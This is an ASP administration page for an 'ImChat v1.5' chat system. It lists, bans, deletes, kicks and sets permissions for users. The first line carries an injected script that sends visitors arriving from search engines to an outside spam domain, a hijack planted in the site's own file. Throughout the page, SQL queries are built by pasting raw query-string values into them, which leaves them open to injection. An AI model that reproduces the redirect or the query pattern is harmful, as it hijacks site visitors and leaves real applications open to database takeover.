001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"--> 002: <!--#include file="../inc/md5.asp"--> 003: <!--#include file="../inc/page.asp"--> 004: <!--#include file="Check.asp"--> 005: <% 006: dim VRS
007: Set VRS=Server.CreateObject( "ADODB.Recordset" )
008: Set VRS=DB_CONN.EXECUTE("delete from [XK_User_Online] where [Kick]=1 or datediff(second,[OL_End_Time],getdate())>=0")
009: DB_CONN.EXECUTE("delete from [XK_Video] where [VID] not in (select v.[VID] from [XK_Video] v inner join [XK_User_Online] o on (v.[SendUserID]=o.[User_ID] or v.[GetUserID]=o.[User_ID] ) ) ")
010:
011: function GetPowerName(Power_ID)
012: dim GPowerRS
013: set GPowerRS=Server.CreateObject( "ADODB.Recordset" )
014: set GPowerRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&Power_ID)
015: GetPowerName=GPowerRS("Power_Name")
016: end function
017:
018: function CheckOnlineStatus(UserID)
019: dim GORS
020: set GORS=Server.CreateObject( "ADODB.Recordset" )
021: set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [User_ID]="&UserID)
022: if GORS.recordcount>0 then
023: CheckOnlineStatus=true
024: else
025: CheckOnlineStatus=false
026: end if
027: end function
028:
029: function GRoomInfo(RoomID,filedname)
030: dim GORS
031: set GORS=Server.CreateObject( "ADODB.Recordset" )
032: set GORS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&RoomID)
033: GRoomInfo=GORS(filedname)
034: end function
035:
036: function GetOnlineStatus(UserID)
037: dim GORS,RoomInfo
038: RoomInfo=""
039: set GORS=Server.CreateObject( "ADODB.Recordset" )
040: set GORS=DB_CONN.EXECUTE("select * from [XK_User_Online] where [User_ID]="&UserID)
041: if GORS.recordcount>0 then
042: if Cstr(GORS("Room_ID"))<>"0" then
043: RoomInfo="<br><a href='?t=Ol&RoomID="&GORS("Room_ID")&"'>"&GRoomInfo(GORS("Room_ID"),"Room_Name")&"</a>"
044: end if
045: GetOnlineStatus="<font color=red><b>在线</b></font>"&RoomInfo
046: else
047: GetOnlineStatus="<font color=gray>离线</font>"
048: end if
049: end function
050:
051: Dim ConfigRS
052: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
053:
054: if request.QueryString("Method")="Del" then
055: DB_CONN.EXECUTE("delete from [XK_User_Info] where [User_ID]="&request.QueryString("User_ID"))
056: RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
057: end if
058: if request.QueryString("Method")="Power" then
059: DB_CONN.EXECUTE("update [XK_User_Info] set [User_Power]="&request.QueryString("V")&" where [User_ID]="&request.QueryString("User_ID"))
060: RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
061: end if
062: if request.QueryString("Method")="Kick" then
063: DB_CONN.EXECUTE("update [XK_User_Online] set [kick]=1 where [User_ID]="&request.QueryString("User_ID"))
064: RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
065: end if
066: if request.QueryString("Method")="Check" then
067: DB_CONN.EXECUTE("update [XK_User_Info] set [IsCheck]="&request.QueryString("V")&" where [User_ID]="&request.QueryString("User_ID"))
068: RW "<script>location.href='User_Manage.asp?t="&request("t")&"&page="&request("page")&"';</script>":response.end()
069: end if
070: dim keystr,keys
071: if request.QueryString("keys")<>"" then keys=request.QueryString("keys"):keystr=" where [user_id] like '%"&keys&"%' or [user_nickname] like '%"&keys&"%' or [user_mail] like '%"&keys&"%' or [user_QQ] like '%"&keys&"%' "
072:
073: if request.QueryString("t")="Ol" then
074: dim RoomFilter:RoomFilter=""
075: if request("RoomID")<>"" then RoomFilter=" where o.[Room_ID]="&request("RoomID")&" "
076: Set ConfigRS=DB_CONN.EXECUTE("select u.* from [XK_User_Info] u inner join [XK_User_Online] o on u.[User_ID]=o.[User_ID] "&RoomFilter&" order by u.[User_ID] desc")
077: elseif request.QueryString("t")="0" then
078: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Sex]=0 order by [User_ID] desc")
079: elseif request.QueryString("t")="1" then
080: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Sex]=1 order by [User_ID] desc")
081: elseif request.QueryString("Room_ID")<>"" then
082: Set ConfigRS=DB_CONN.EXECUTE("select u.* from [XK_User_Info] u inner join [XK_User_Online] o on u.[User_ID]=o.[User_ID] where o.[Room_ID]="&request.QueryString("Room_ID")&" order by u.[User_ID] desc")
083: elseif request.QueryString("t")="p" then
084: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] u where [User_Power]="&request("PowerID")&" order by [User_ID] desc")
085: else
086: Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_User_Info] "&keystr&" order by [User_ID] desc")
087: end if
088: ConfigRS.pagesize=20
089: if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
090: if not ConfigRS.eof then ConfigRS.absolutepage = curpage
091:
092: Dim TitleStr:TitleStr=""
093: if request("RoomID")<>"" then TitleStr=GRoomInfo(request("RoomID"),"Room_Name")
094: if request("PowerID")<>"" then TitleStr=GetPowerName(request("PowerID"))
095:
096: function getPic(str,sex)
097: dim DefaultPic
098: if str<>"" then
099: DefaultPic=str
100: else
101: if Cstr(sex)="0" then DefaultPic="../images/man.gif" else DefaultPic="../images/woman.gif" end if
102: end if
103: getPic=DefaultPic
104: end function
105: %>
106: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
107: <html xmlns="http://www.w3.org/1999/xhtml">
108: <head>
109: <title>ImChat v1.5 Manage System</title>
110: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
111: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
112: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
113: <style>
114: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
115: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
116: </style>
117: </head>
118: <body>
119: <div class="contentcontainer">
120: <div class="headings alt">
121: <h2><font color=red><%=TitleStr%></font> · 会员管理 <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a> <a href="User_Manage.asp?t=Ol" style="text-decoration:none;">在线用户</a> <a href="User_Manage.asp?t=0" style="text-decoration:none;">男</a> <a href="User_Manage.asp?t=1" style="text-decoration:none;">女</a> <a href="User_Manage.asp" style="text-decoration:none;">所有用户</a> 关键词：<input type="text" id="keys" name="keys" value=""> <input type="button" onclick="javascript:location.href='User_Manage.asp?keys='+document.getElementById('keys').value;" value="模糊查询"></h2>
122: </div>
123: <div class="contentbox">
124: <table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
125: <th colspan="12">用户列表</th>
126: <tr>
127: <td>账号</td>
128: <td>昵称</td>
129: <td>性别</td>
130: <td>头像</td>
131: <td>邮箱</td>
132: <td>权限</td>
133: <td>积分</td>
134: <td>金钱</td>
135: <td>注册时间</td>
136: <td>在线</td>
137: <td>是否禁用</td>
138: <td>操作</td>
139: </tr>
140: <script>
141: function change(e,userid)
142: {
143: location.href="User_Manage.asp?t=<%=request("t")%>&page=<%=request("page")%>&Method=Power&User_ID="+userid+"&V="+e.value;
144: }
145: </script>
146: <% 147: dim iPage
148: while (not ConfigRS.eof and iPage<ConfigRS.pagesize )%>
149: <tr>
150: <td> <%if Cint(ConfigRS("User_Type"))=1 then rw "QQ登录用户" else rw KLDecode(ConfigRS("User_Name"))%></td>
151: <td> <%=ConfigRS("User_NickName")%></td>
152: <td> <%if Cstr(ConfigRS("User_Sex"))="0" then RW "男" else RW "女"%></td>
153: <td> <a href="<%=getPic(ConfigRS("User_Pic"),Cstr(ConfigRS("User_Sex")))%>" target="_blank"><img src="<%=getPic(ConfigRS("User_Pic"),Cstr(ConfigRS("User_Sex")))%>" width="100" border="0"/></a></td>
154: <td> <%=ConfigRS("User_Mail")%></td>
155: <td> <select style="width:100px;" onchange="change(this,<%=ConfigRS("User_ID")%>);"><% 156: dim GPRS
157: set GPRS=Server.CreateObject( "ADODB.Recordset" )
158: set GPRS=DB_CONN.EXECUTE("select * from [XK_Power] order by [Power_Sort] desc")
159: while not GPRS.eof
160: dim Selected
161: Selected=""
162: if Cstr(GPRS("Power_ID"))=Cstr(ConfigRS("User_Power")) then Selected="Selected='selected'"
163: RW "<option value='"&GPRS("Power_ID")&"' "&Selected&" >"&GPRS("Power_Name")&"</option>"
164: GPRS.movenext()
165: wend
166: %>
167: </select></td>
168: <td> <%=ConfigRS("User_Score")%></td>
169: <td> <%=ConfigRS("User_Money")%></td>
170: <td> <%=ConfigRS("RegTime")%></td>
171: <td> <%=GetOnlineStatus(ConfigRS("User_ID"))%></td>
172: <td> <a href="?Method=Check&t=<%=request("t")%>&page=<%=request("page")%>&V=<%if Cstr(ConfigRS("IsCheck"))="0" then RW "1" else RW "0" end if %>&User_ID=<%=ConfigRS("User_ID")%>"><%if Cstr(ConfigRS("IsCheck"))="0" then RW "正常" else RW "<font color=red>禁用</font>" end if %></a></td>
173: <td> <a href="?Method=Del&t=<%=request("t")%>&page=<%=request("page")%>&User_ID=<%=ConfigRS("User_ID")%>">删除</a> <a href="EditUser.asp?UID=<%=ConfigRS("User_ID")%>">编辑</a> <% 174: if CheckOnlineStatus(ConfigRS("User_ID")) then
175: RW "<a href='User_Manage.asp?Method=Kick&User_ID="&ConfigRS("User_ID")&"'><b>踢出</b></a>"
176: end if
177: %></td>
178: </tr>
179: <% 180: iPage=iPage+1
181: ConfigRS.MoveNext
182: wend
183: %>
184: <tr>
185: <td colspan="12"><%=ExportPageInfo(ConfigRS,curpage,iPage,"User_Manage.asp?1=1"&replace(Request.QueryString,"page","1")&"&")%></td>
186: </tr>
187: </table>
188:
189: </div>
190: </div>
191: </body>
192: </html>
193:
194:
195: